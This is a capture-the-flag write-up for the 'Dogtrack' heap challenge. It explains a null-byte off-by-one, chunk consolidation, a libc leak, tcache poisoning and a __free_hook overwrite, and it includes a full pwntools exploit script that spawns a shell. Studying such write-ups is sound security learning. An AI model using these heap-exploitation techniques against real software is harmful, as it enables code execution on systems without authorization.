Intro
Dogtrack is a dog racing themed pwn challenge from Batman’s Kitchen CTF 2026. We can exploit a Null-Byte Off-By-One in the heap chained with a write primitive to achieve code execution.
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Libc: 2.27TLDR:
- Old Libc: No tcache hardenings and
__free_hookstill works - Off-By-One to clear
PREV_INUSEand backwards consolidate - Hidden function (not shown in the menu) allows you to swap values on 2 chunks
- Use the overlaping chunks and the swap -> Tcache Poison and overwrite
__free_hook
Code Review
By analysing the challenge with Binary Ninja, we can identify that 2 types of chunks are tracked internally in separate arrays:
- Dog: 3 chunks size 0x30
- Record: 15 chunks size 0x100

The functions (as-per the UI) are:
- New Dog with name (32 bytes) and speed (8 bytes)
- Free Dog
- Run Race: Creates new Record, with the first qwords being the dog’s name that ran the race
- Free Record
- Read Record
Analysing the free functions, we can see that the pointers are NULLed and checked before use, so no easy UAFs:


The race (record malloc) function has some complexity related to simulating the random races, but the relevant part is the following:
- A dog’s name is copied to the beginning of the chunk
- Chunks are created with malloc, which unlike calloc does not zero the memory. Therefore, creating a record for a dog with no name may allow us read data left from a previously allocated chunk, leaking libc/heap pointers.
/* not the actual decompiled code: I removed some of the type casting for readability */
if (option == 2){ puts("Which dog do you want to race?"); printf("Kennel Index > ");
if (scanf_consume_newline("%d", &kennel_idx) == 1 && kennel_idx >= 0 && kennel_idx <= 2) { if (*((kennel_idx << 3) + &dogs)) // Check if pointer is NULL { int64_t* dog = *((kennel_idx << 3) + &dogs); // points to dog chunk char* record = malloc(0xf0); // Does not null memory
for (int32_t j = 0; j <= 0x1f; j += 1) { if (!*(uint8_t*)((char*)dog + (int64_t)j + 8)) break;
// Copy dog's name record[(int64_t)j] = *(uint8_t*)((char*)dog + (int64_t)j + 8); }
*(record + 0x20) = time(nullptr); *(record + 0x28) = 0;
for (int32_t j_1 = 0; j_1 <= 7; j_1 += 1) { printf("\n%s now entering Race %d: %s!\n", &dog[1], j_1 + 1, &races[j_1 * 0x18]); puts("3... 2... 1... Go!");
<snip>Hidden swap records function
On the UI, only the aforementioned functions are shown:

However, checking the Records related functions in the decompiler, there is a hidden 4th option:
else if (option == 4){ puts("CAUTION! FORGING RECORDS IS ILLEGAL"); puts("Select a record"); printf("Record index > ");
if (scanf_consume_newline("%d", &record_idx_1) == 1 && record_idx_1 >= 0 && record_idx_1 <= 0xf) { if (*(uint64_t*)(((int64_t)record_idx_1 << 3) + &winRecords)) { char* record_1 = *(uint64_t*)(((int64_t)record_idx_1 << 3) + &winRecords); puts("Select a record to swap with"); printf("Record Index > ");
if (scanf_consume_newline("%d", &record_idx_2) == 1 && record_idx_2 >= 0 && record_idx_2 <= 0xf) { if (*(uint64_t*)(((int64_t)record_idx_2 << 3) + &winRecords)) { char* record_2 = *(uint64_t*)(((int64_t)record_idx_2 << 3) + &winRecords); int64_t temp; __builtin_memset(&temp, 0, 0x20); int64_t val_1 = *(uint64_t*)(record_1 + 0x20); *(uint64_t*)(record_1 + 0x20) = *(uint64_t*)(record_2 + 0x20); *(uint64_t*)(record_2 + 0x20) = val_1; strcpy(&temp, record_1); strcpy(record_1, record_2); strcpy(record_2, &temp); printf("Record %d and %d have been swapped!\n", (uint64_t)record_idx_1, (uint64_t)record_idx_2); continue; } else { printf("Record %d doesn't exist!\n", (uint64_t)record_idx_2); continue; } <snip>}The function allows us to swap up to 4 qwords (the dog’s name) between chunks. This will be used for a Tcache Poison later!
Off-By-Null on Dog Creation
The dog creation function allows us so set a name (32 bytes) and speed (8 bytes):

Then, it attempts to null terminate the name buffer, however, a name of length 32 causes it to off-by-one and set to NULL the next chunk’s SIZE field.

Multiple techniques exist to exploit this scenario depending on the libc version, including things like shrinking chunks and The poisoned NUL byte.
Given we can only easily allocate 0x30 and 0x100 chunks, our best bet is clearing the PREV_INUSE bit on the SIZE field of a 0x100 chunk, i.e. turning 0x101 to 0x100!
Null-Byte Off-By-One Backwards Consolidation
Background Information
Normally, when a chunk is free’d to the unsortedbins, the heap attempts to consolidate with adjacent chunks to reduce fragmentation.
We can use that to our advantage given our ability to clear the PREV_INUSE flag, we can trick the heap into believing the previous chunk is free and consolidate with it.
For our attack, the relevant fields are:
- The
SIZEfield, more specifically thePREV_INUSEflag on the LSB ofSIZE PREV_SIZE

From MallocInternals Wiki:
NOTESince all chunks are multiples of 8 bytes, the 3 LSBs of the chunk size can be used for flags. These three flags are defined as follows:
- A (0x04) Allocated Arena - the main arena uses the application’s heap. Other arenas use mmap’d heaps. If this bit is 0, the chunk comes from the main arena and the main heap.
- M (0x02) MMap’d chunk - this chunk was allocated with a single call to mmap and is not part of a heap at all.
- P (0x01) Previous chunk is in use - if set, the previous chunk is still being used by the application, and thus the
prev_sizefield is invalid.
The attack
Given that the challenge is running an older version of libc, fewer checks are in place, so we only need to make sure that:
prev_sizeadds up to a valid chunk header (else it might SIGSEV)- Said chunk is free (will trigger
corrupted size vs. prev_sizeif it isn’t a valid free chunk) - The chunk has valid FD and BK pointers (Safe Unlink Check), as it will be unlinked from its original bin to be consolidated
P->fd->bk==PP->bk->fd==P
For the exploit we can setup the following heap layout:
_______________| | 0x101 | <- Target free chunk to be merged| Record[0] || FD | BK || ... ||_______________|| | 0x101 | <- Extra space| Record[1] || ... || ... ||_______________|| | 0x31 | <- This will Off-By-One and clear the PREV_INUSE of Record[2]| Dog[0/1] || ... ||_______________|| 0x230 | 0x101 | <- PREV_SIZE: 0x230 = 0x100 + 0x100 + 0x30| Record[2] | SIZE will be changed from 0x101 to 0x100| ... || ... ||_______________|Given that we can’t edit() a Dog chunk (we only write during initial allocation), we first need to setup our heap layout layout, free the dog chunk, so it can be allocated later on for the attack.
Another requirements is that Record[0] and Record[2] need to be freed to the unsortedbins, so we will need to fill-up the tcache before freeing them. This can be done with a simple for-loop.
Putting it all together, our exploit becomes:
warn("Setting up heap layout for backwards consolidation")info("Creating Dog without a name so it does not overwrite our leaks later")new_dog(0, b"", b"")
info("Creating Record that will be merged")new_record(0)
info("Creating middle Record[1] so we have more space after consolidation")new_record(0)
info("Creating overflow Dog[0], will be used for Off-By-Null later on")new_dog(1, b"BBBB", b"BBBB")
info("Creating Record[2] that will have its prev_in_use bit cleared")new_record(1)
info("Freeing overflow chunk so it can be used later")free_dog(1)
warn("Filling Tcache 0x100")info("Creating 7 Records")for i in range(3,10): new_record(0)
info("Freeing 7 records")for i in range(3,10): # Record[3] to Record[9] free_record(i)
Now we just need to free Record[0] and trigger the Off-By-One
warn("Performing backwards consolidation")info("Freeing Record[0] that will be merged (unsorted bin)")free_record(0)
info("Triggering Dog[2] off-by-null, with a prev_size of 0x230")new_dog(2, b"A"*0x18+p64(0x230), b"B"*0x8)
Finally we free Record[2] to trigger the consolidation
info("prev_in_use has been cleared! Consolidating chunks")free_record(2)
Now we have a free chunk with active chunks (Record[1] and Dog[2]) overlapping it!
From now on, multiple exploitation strategies are possible…
Given that we are on an older libc with __free_hook and less Tcache protection, I figured allocatting a Record overlaping Dog[2] and using the hidden swap_records() function would be a fun way to poison Tcache!
To do that Record[1] will be used to leak a libc pointer, and Dog[2] will be used as part of the tcache poisoning.
But before that, we need to get some Leaks!
Leaking Libc
As noted earlier, creating records does not zero the memory, so we may read stored metadata from previous allocations. We just need to do our record creation with a dog that has no name, to avoid overwriting said metadata!
For a Heap Leak (which isn’t actually used in this specific exploit), we can just read from Record[1].
TIPA note on
read_record(): The function callsctime()to parse the stored record time, which calls a bunch of mallocs for timezone metadata:However, this only happens once. So a good spot to place a dummy call to
read_record()would be after the 7 mallocs to fill the tcache, so it is very far away and doesn’t mess up our heap layout by allocating from our consolidated chunk:
For the Libc Leak, we should first exhaust the Tcache so we can allocate from our consolidated chunk, then, it is just a matter of allocating 2 Records and reading from Record[8]:

Tcache Poison
Those last 2 allocations are also very convenient, as the next allocation will point to the
same address as the still active Dog[2], changing its SIZE from 0x30 to 0x100 as part of
the remaindering of our consolidated chunk.


This will enable us to poison the tcache, as we can free the Dog[2] to Tcache 0x100 and still have a valid Record pointer to it!
With a valid Record pointer to a free chunk, we can use swap_records() to overwrite the FD and point it to the __free_hook.
NOTEMalloc Hooks allowed developers to intercept/modify the behaviour of memory allocation/deallocation by passing the call to a different function when
malloc()/free()gets called.Due to their security risks and not being thread-safe, they were deprecated on glibc 2.32 and removed on glibc 2.34: Securing malloc in glibc: Why malloc hooks had to go
So the exploit goes as follows:
- Allocate Record[10] overlapping with Dog[2]

- Setup Record[11] pointing to the
__free_hook
warn("Preparing __free_hook overwrite")info("Allocating Dog[1] with a __free_hook pointer")new_dog(1,p64(libc.symbols.__free_hook),b"")info("Allocating Dog[0] with a pointer to system")free_dog(0)new_dog(0,p64(libc.symbols.system),b"")info("Creating Record[11] from Dog[1], it now holds a pointer to the __free_hook")new_record(1)
- Free Dog[2] to send Record[10] to the tcache

Now Record[10] is both free on the tcache, and valid as a Record pointer. Therefore we can Use-After-Free and write to it, corrupting the FD.
- Use
swap_records(Record[10],Record[11])to change Record[10]‘s FD to point to__free_hook
Before the swap:

After the swap:

Now, subsequent Record allocations from the tcache will allow us to overwrite __free_hook
By preparing a Dog named system’s address, and creating said Record over the __free_hook, we overwrite-it to point to system()
- Overwrite
__free_hookwithsystem()
info("Using secret function to swap Record[10]'s FD and Record[11] (__free_hook_pointer)")swap_records(10,11)info("Allocating dummy Record, the next unsortedbin allocation will overlap __free_hook")new_record(0)
#...
warn("Overwriting the __free_hook with system")new_record(0) # now free hook points to system
With the __free_hook overwritten, we can just setup a Record with /bin/sh\0 (by naming a Dog /bin/sh\0 and creating a Record from it) and calling free() on it, which will trigger system(/bin/sh) and give us a shell
Final Exploit

#!/usr/bin/env python3
from pwn import *
exe = ELF("dogtrack")libc = ELF("libc.so.6")ld = ELF("ld-linux-x86-64.so.2")
context.gdb_binary = '/usr/local/bin/pwndbg'
def conn(argv=[], *a, **kw): if args.REMOTE: io = remote('dogtrack-instanceID.instancer.batmans.kitchen', 1337, ssl=True) else: if args.GDB: io = gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: io = process([exe.path] + argv, *a, **kw) return io
gdbscript = '''tbreak maincontinue'''.format(**locals())
#===========================================================# UTILS#===========================================================
numRecords = 0
def int2byte(x): return str(x).encode('ascii')
def new_dog(kennel_index, name, speed): debug(f"""New dog: {kennel_index} - malloc(0x28) - name: {name} - speed: {speed}""") io.sendlineafter(b'4) Quit\n> ', b'1') io.sendlineafter(b'3) Leave\n> ', b'1') io.sendlineafter(b'Kennel Index > ', int2byte(kennel_index)) io.sendlineafter(b'(Max 32 characters) > ', name) io.sendlineafter(b'(Max 8 characters) > ', speed) io.sendlineafter(b'3) Leave\n> ', b'3')
def free_dog(kennel_index): debug(f"free dog: {kennel_index}") io.sendlineafter(b'4) Quit\n> ', b'1') io.sendlineafter(b'3) Leave\n> ', b'2') io.sendlineafter(b'Kennel Index > ', int2byte(kennel_index)) io.sendlineafter(b'3) Leave\n> ', b'3')
def new_record(kennel_index): global numRecords debug(f"""new record {numRecords} - malloc(0xf0) - kennel_index: {kennel_index} """) io.sendlineafter(b'4) Quit\n> ', b'2') io.sendlineafter(b'Kennel Index > ', int2byte(kennel_index)) numRecords += 1 return numRecords - 1
def read_record(record_index): debug(f"Reading record {record_index}") io.sendlineafter(b'4) Quit\n> ', b'3') io.sendlineafter(b'3) Leave\n> ', b'1') io.sendlineafter(b'Record index > ', int2byte(record_index)) out = io.recvuntil(b"Welcome to the Hall of Fame!") io.sendlineafter(b'3) Leave\n> ', b'3') return out.replace(b'\nWelcome to the Hall of Fame!', b'')
def free_record(record_index): global numRecords debug(f"free record {record_index}") io.sendlineafter(b'4) Quit\n> ', b'3') io.sendlineafter(b'3) Leave\n> ', b'2') io.sendlineafter(b'Record index > ', int2byte(record_index)) io.sendlineafter(b'3) Leave\n> ', b'3')
def trigger_free_hook(record_index): debug(f"Triggering free hook enjoy the shell") io.sendlineafter(b'4) Quit\n> ', b'3') io.sendlineafter(b'3) Leave\n> ', b'2') success("Enjoy your shell :)") io.sendlineafter(b'Record index > ', int2byte(record_index))
def swap_records(record_index_1, record_index_2): debug(f"Swapping records {record_index_1} and {record_index_2}") io.sendlineafter(b'4) Quit\n> ', b'3') io.sendlineafter(b'3) Leave\n> ', b'4') io.sendlineafter(b'Record index > ', int2byte(record_index_1)) io.sendlineafter(b'Record Index > ', int2byte(record_index_2)) io.sendlineafter(b'3) Leave\n> ', b'3')
#===========================================================# EXPLOIT#===========================================================
io = conn()
warn("Setting up heap layout for backwards consolidation")info("Creating Dog without a name so it does not overwrite our leaks later")new_dog(0, b"", b"")info("Creating Record that will be merged")new_record(0)info("Creating middle Record so we have more space after consolidation")new_record(0)info("Creating overflow Dog, will be used for Off-By-Null later on")new_dog(1, b"BBBB", b"BBBB")info("Creating Record that will have its prev_in_use bit cleared")new_record(1)info("Freeing overflow chunk so it can be used later")free_dog(1)
warn("Filling Tcache 0x100")info("Creating 7 Records")for i in range(3,10): new_record(0)
debug("Calling read to create the ctime metadata now, so it avoids breaking the exploit later")read_record(9)
info("Freeing 7 records")for i in range(3,10): free_record(i)
warn("Performing backwards consolidation")info("Freeing Record that will be merged (unsorted bin)")free_record(0)info("Triggering Dog[2] off-by-null, with a prev_size of 0x230")new_dog(2, b"A"*0x18+p64(0x230), b"B"*0x8)info("prev_in_use has been cleared! Consolidating chunks")free_record(2)
warn("Emptying Tcache, further allocation from unsortedbins may overlap previous chunks")for i in range(0,7): new_record(0)
warn("Leaking Libc and Heap")new_record(0)new_record(0)leak_libc = u64(read_record(8).split(b'\n')[0][5:].ljust(8, b'\x00'))leak_heap = u64(read_record(1).split(b'\n')[0][5:].ljust(8, b'\x00')) << 12libc.address = leak_libc - (libc.symbols.main_arena + 896)info(f"Heap Base: {leak_heap:#x}")info(f"Leak Libc: {leak_libc:#x}")assert libc.address & 0xFFF == 0, "Invalid Libc Address"success(f"Libc Address: {libc.address:#x}")
warn("Creating overlap between Record[10] and Dog[2]")info("Allocating chunk that will overlap Dog[2]")new_record(0) # record 10 overlaps dog 2
warn("Preparing __free_hook overwrite")info("Allocating Dog[1] with a __free_hook pointer")new_dog(1,p64(libc.symbols.__free_hook),b"")info("Allocating Dog[0] with a pointer to system")free_dog(0)new_dog(0,p64(libc.symbols.system),b"")info("Creating Record[11] from Dog[1], it now holds a pointer to the __free_hook")new_record(1)
warn("Poisoning tcache 0x100")info("Freeing a random record to increase the tcache count")free_record(2)info("Freeing Dog[2]")free_dog(2)info("Using secret function to swap Record[10]'s FD and Record[11] (__free_hook_pointer)")swap_records(10,11)info("Allocating dummy Record, the next unsortedbin allocation will overlap __free_hook")new_record(0)
info("Setting up Dog[1] named /bin/sh")free_dog(1)new_dog(1,b"/bin/sh\0",b"")
warn("Overwriting the __free_hook with system")new_record(0) # now free hook points to systeminfo("Creating Record[13] with /bin/sh from Dog[1]")new_record(1)
warn('Freeing Record[13] to trigger __free_hook = system("/bin/sh")')trigger_free_hook(13)io.interactive()
However, this only happens once. So a good spot to place a dummy call to 